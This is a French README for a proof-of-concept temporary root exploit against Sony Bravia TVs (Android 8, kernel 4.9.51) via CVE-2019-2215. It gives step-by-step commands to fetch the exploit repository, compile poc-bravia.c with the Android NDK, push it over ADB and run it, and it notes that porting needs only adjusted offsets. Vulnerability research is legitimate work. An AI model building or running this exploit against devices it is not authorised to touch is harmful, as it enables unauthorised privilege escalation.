
Temproot pour TV Bravia via CVE-2019-2215.
Temproot pour téléviseur Bravia via CVE-2019-2215.
Démonstration d'une attaque d'escalade de privilèges par lecture/écriture seule de la mémoire du noyau aboutissant à un shell root temporaire.
Fonctionne sur les téléviseurs Sony Bravia fonctionnant sous le firmware Android 8 (PKG6.0724) avec version du noyau 4.9.51.
Pour que cet outil fonctionne sur d'autres appareils et/ou noyaux affectés par la même vulnérabilité, certains décalages doivent être trouvés et modifiés. Comme mentionné sur le suivi de bugs de Project Zero, ce n'est pas terriblement difficile.
Cet outil et son code source sont mis à disposition à des fins documentaires et éducatives uniquement.
L'UTILISATION DE CET OUTIL PEUT BRICKER VOTRE APPAREIL. N'ESSAYEZ PAS SAUF SI VOUS SAVEZ CE QUE VOUS FAITES.
# Téléchargez le NDK Android.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20b-linux-x86_64.zip
# Extrayez le NDK et définissez son chemin comme $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20b-linux-x86_64.zip
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20b
# Clonez le dépôt git `CVE-2019-2215` et placez-vous dedans avec `cd`.
user@host:~$ git clone https://github.com/LIznzn/CVE-2019-2215.git
user@host:~$ cd CVE-2019-2215
# Compilez le binaire.
user@host:~/CVE-2019-2215$ $ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang poc-bravia.c -static -o poc-bravia
# Poussez le binaire vers l'appareil.
user@host:~/CVE-2019-2215$ adb push ./poc-bravia /data/local/tmp/
# Utilisez ADB Shell.
user@host:~/CVE-2019-2215$ adb shell
# Exécutez-le.
BRAVIA_4K_UR1:/ $ cd /data/local/tmp
BRAVIA_4K_UR1:/data/local/tmp $ chmod 755 poc-bravia
BRAVIA_4K_UR1:/data/local/tmp $ ./poc-bravia